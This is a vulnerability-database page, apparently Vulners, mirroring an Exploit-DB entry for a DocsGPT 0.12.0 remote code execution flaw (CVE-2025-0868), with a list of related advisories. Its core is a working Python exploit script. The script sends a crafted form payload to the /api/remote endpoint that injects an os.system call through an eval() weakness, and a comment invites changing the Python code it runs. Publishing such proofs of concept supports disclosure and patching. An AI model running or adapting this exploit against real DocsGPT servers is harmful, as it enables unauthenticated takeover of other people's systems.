Lucene search
+L

DocsGPT 0.12.0 - Remote Code Execution

🗓️ 09 Apr 2025 00:00:00Reported by Shreyas MalhotraType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 305 Views

Exploitation of DocsGPT 0.12.0 allows remote code execution through crafted payloads.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
The vulnerability of the eval() function on the DocsGPT software platform allows a perpetrator to execute any Python code.
24 Nov 202500:00
bdu_fstec
circl
Circl
CVE-2025-0868
20 Feb 202514:49
circl
cnnvd
CNNVD
DocsGPT 安全漏洞
20 Feb 202500:00
cnnvd
cve
CVE
CVE-2025-0868
20 Feb 202511:26
cve
cvelist
Cvelist
CVE-2025-0868 Remote Code Execution in DocsGPT
20 Feb 202511:26
cvelist
githubexploit
GithubExploit
Exploit for CVE-2025-0868
25 May 202513:14
githubexploit
github
Github Security Blog
DocsGPT Allows Remote Code Execution
20 Feb 202512:31
github
nuclei
Nuclei
DocsGPT - Unauthenticated Remote Code Execution
3 Aug 202604:01
nuclei
nvd
NVD
CVE-2025-0868
20 Feb 202512:15
nvd
osv
OSV
CVE-2025-0868 Remote Code Execution in DocsGPT
20 Feb 202511:26
osv
Rows per page
# Exploit Title: DocsGPT 0.12.0 - Remote Code Execution
# Date: 09/04/2025
# Exploit Author: Shreyas Malhotra (OSMSEC)
# Vendor Homepage: https://github.com/arc53/docsgpt
# Software Link: https://github.com/arc53/DocsGPT/archive/refs/tags/0.12.0.zip
# Version: 0.8.1 through 0.12.0
# Tested on: Debian Linux/Ubuntu Linux/Kali Linux
# CVE: CVE-2025-0868

import requests

# TARGET CONFIG
TARGET = "http://10.0.2.15:7091"  # Change this

# Malicious payload string - carefully escaped - modify the python code if necessary
malicious_data = (
    'user=1&source=reddit&name=other&data={"source":"reddit",'
    '"client_id":"1111","client_secret":1111,"user_agent":"111",'
    '"search_queries":[""],"number_posts":10,'
    '"rce\\\\":__import__(\'os\').system(\'touch /tmp/test\')}#":11}'
)

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    response = requests.post(f"{TARGET}/api/remote", headers=headers, data=malicious_data)
    print(f"[+] Status Code: {response.status_code}")
    print("[+] Response Body:")
    print(response.text)
except Exception as e:
    print(f"[-] Error sending request: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2025 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 49.3
EPSS0.1668
SSVC
305